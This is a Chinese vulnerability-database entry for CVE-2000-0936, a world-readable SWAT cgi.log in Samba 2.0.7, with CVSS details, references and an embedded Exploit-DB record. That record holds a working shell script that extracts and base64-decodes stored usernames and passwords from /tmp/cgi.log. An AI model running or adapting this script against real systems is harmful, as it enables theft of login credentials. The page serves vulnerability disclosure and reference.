CVE-2000-0936
CVSS2.1
发布时间 :2000-12-19 00:00:00
修订时间 :2008-09-05 16:22:14
NMCOE    

[原文]Samba Web Administration Tool (SWAT) in Samba 2.0.7 installs the cgi.log logging file with world readable permissions, which allows local users to read sensitive information such as user names and passwords.


[CNNVD]Samba Samba Web Administration Tool (SWAT)读取敏感信息漏洞(CNNVD-200012-162)

        Samba 2.0.7版本Samba Web Administration Tool (SWAT)安装带有全域可读权限cgi.log日志文件。本地用户读取例如用户名和密码的敏感信息。

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0936
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0936
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-162
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/1874
(VENDOR_ADVISORY)  BID  1874
http://archives.neohapsis.com/archives/bugtraq/2000-10/0430.html
(VENDOR_ADVISORY)  BUGTRAQ  20001030 Samba 2.0.7 SWAT vulnerabilities
http://xforce.iss.net/static/5445.php
(VENDOR_ADVISORY)  XF  samba-swat-logfile-info

- 漏洞信息

Samba Samba Web Administration Tool (SWAT)读取敏感信息漏洞
低危 未知
2000-12-19 00:00:00 2005-05-02 00:00:00
本地  
        Samba 2.0.7版本Samba Web Administration Tool (SWAT)安装带有全域可读权限cgi.log日志文件。本地用户读取例如用户名和密码的敏感信息。

- 公告与补丁

        

- 漏洞信息 (20341)

SAMBA 2.0.7 SWAT Logfile Permissions Vulnerability (EDBID:20341)
linux local
2000-11-01 Verified
0 miah
N/A [点击下载]
source: http://www.securityfocus.com/bid/1874/info

The Samba software suite is a collection of programs that implements the SMB protocol for unix systems, allowing you to serve files and printers to Windows, NT, OS/2 and DOS clients. This protocol is sometimes also referred to as the LanManager or Netbios protocol. Samba ships with a utility titled SWAT (Samba Web Administration Tool) which is used for remote administration of the Samba server and is by default set to run from inetd as root on port 701. Certain versions of this software ship with a vulnerability local users can use to leverage root access. 

This problem in particular is a permissions problem where users can take advantage of poor permission setting in SWAT's log files to read username and password data which SWAT records for all users which login to remotely administrate the server. If logging is turned on (it is not enabled by default) SWAT it logs by default to:

/tmp/cgi.log

This file is world readable and contains usernames and passwords which local users may pull from the file (base64 encoded).


#!/bin/sh
# phear my ugly shell scripting! - miah@uberhax0r.net
# grabs username:password from swat cgi.log, then decodes 
# and outputs the results.
clear
echo "######################"
echo "#checking for cgi.log#"
echo "######################"
echo
 if [ -f /tmp/cgi.log ]
  then
	echo " - cgi.log found"
	echo " - extracting logins"
	echo
	grep "Basic" /tmp/cgi.log|awk '{print $3}' > /tmp/encoded.cgi.log
	sort /tmp/encoded.cgi.log > /tmp/encoded.cgi.log.1
	uniq /tmp/encoded.cgi.log.1 > /tmp/uniq.cgi.log
	rm /tmp/encoded.cgi.log*
	for i in $( cat /tmp/uniq.cgi.log ); do
		echo $i 012| mmencode -u
		echo
	done	
	rm /tmp/uniq.cgi.log
  else
	echo " - cgi.log not found!" 
fi
		

- 漏洞信息

1626
Samba Web Administration Tool (SWAT) cgi.log Permission Weakness Information Disclosure
Local Access Required Information Disclosure
Loss of Confidentiality
Exploit Public

- 漏洞描述

- 时间线

2000-10-30 Unknow
2000-10-30 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站